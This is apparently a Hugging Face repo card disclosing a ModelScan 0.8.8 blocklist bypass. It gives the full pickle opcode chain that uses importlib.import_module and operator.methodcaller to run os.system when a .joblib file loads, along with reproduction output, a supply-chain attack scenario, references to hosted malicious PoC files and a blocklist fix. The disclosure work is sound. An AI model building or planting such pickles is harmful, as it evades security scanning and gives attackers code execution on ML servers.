YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

ModelScan Blocklist Bypass — importlib + operator.methodcaller → ACE in .joblib

Vulnerability type: Scanner bypass + Arbitrary Code Execution
Affected library: protectai/model-scan ≤ 0.8.8
File format: .joblib (pickle-based)
Severity: Critical


Summary

ModelScan's unsafe_globals blocklist does not include importlib or operator.methodcaller. A malicious .joblib file that uses only these two modules executes arbitrary shell commands at load time while ModelScan reports 0 issues.


Empirical verification

Tested on:

Package Version
Python 3.11.14
modelscan 0.8.8 (latest)
joblib 1.5.3 (latest)
numpy 2.4.6
$ python3 reproduce.py

============================================================
Bug: ModelScan blocklist bypass via importlib + methodcaller
============================================================

[*] Scanning evil_importlib.joblib with ModelScan 0.8.8 ...
    total_issues : 0
    CRITICAL     : 0
    scanned      : 1
    errors       : 0

[✓] BYPASS CONFIRMED — ModelScan reports 0 issues

[*] Loading model (joblib.load / pickle.loads) ...
    Payload output: RCE:uid=1000(runner) gid=1000(runner) groups=1000(runner)

[✓] RCE CONFIRMED — /tmp/pwned.txt created

Root cause

ModelScan blocklist (all severities)

# modelscan/settings.py — DEFAULT_SETTINGS["unsafe_globals"]
CRITICAL: {
    "__builtin__": ["eval", "compile", "getattr", "apply", "exec", ...],
    "builtins":   ["eval", "compile", "getattr", "apply", "exec", ...],
    "os": "*",  "posix": "*",  "subprocess": "*",  "sys": "*",
    "socket": "*",  "runpy": "*",  ...
}

importlib is not listed at any severity level.
operator is only partially listed (attrgetter only — methodcaller is absent).

Attack chain (pickle bytecode)

GLOBAL operator methodcaller        ← not in blocklist
MARK
  SHORT_BINUNICODE 'system'
  SHORT_BINUNICODE 'echo RCE:$(id)'
TUPLE
REDUCE                              ← mc = methodcaller("system", "echo RCE:$(id)")
MEMOIZE

GLOBAL importlib import_module      ← not in blocklist
MARK
  SHORT_BINUNICODE 'os'
TUPLE
REDUCE                              ← os_mod = importlib.import_module("os")
MEMOIZE

BINGET 0  (mc)
MARK
  BINGET 1  (os_mod)
TUPLE
REDUCE                              ← mc(os_mod) = os.system("echo RCE:$(id)")
STOP

ModelScan's _list_globals() sees:

  • ("operator", "methodcaller") → not in blocklist → ignored
  • ("importlib", "import_module") → not in blocklist → ignored

Result: raw_globals contains no flagged entries → ScanResults(issues=[])0 issues.


Attack scenario — model supply chain

Attacker                               Victim (ML engineer / CI pipeline)
────────                               ────────────────────────────────────
1. Craft evil_importlib.joblib
   (this repo)

2. Publish to Hugging Face Hub,
   S3 bucket, or model registry.
                                       3. CI runs ModelScan gate:
                                            modelscan evil_importlib.joblib
                                          Output: "No issues found" ✅
                                          (0 critical, 0 high — scan passes)

                                       4. Pipeline approves model.

                                       5. Production calls joblib.load():
                                            model = joblib.load("evil_importlib.joblib")
                                          → os.system() fires
                                          → Full ACE on production server

Reproduction

pip install joblib modelscan numpy
python3 reproduce.py

PoC files

File Description
evil_importlib.joblib Malicious model — passes ModelScan, executes on load
evil_gzip.joblib Bonus: gzip-compressed bypass (Bug 1, separate root cause)
reproduce.py Full reproduction script with scan + load

Fix recommendation

Add importlib and operator.methodcaller to the CRITICAL blocklist:

# modelscan/settings.py
"CRITICAL": {
    ...
    "importlib": "*",          # ADD
    "operator": [
        "attrgetter",
        "methodcaller",        # ADD
    ],
    ...
}

Additionally, audit all standard library modules that can transitively reach os.system, subprocess, exec, or similar — this bypass class affects any module reachable from the pickle stream that is absent from the blocklist.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support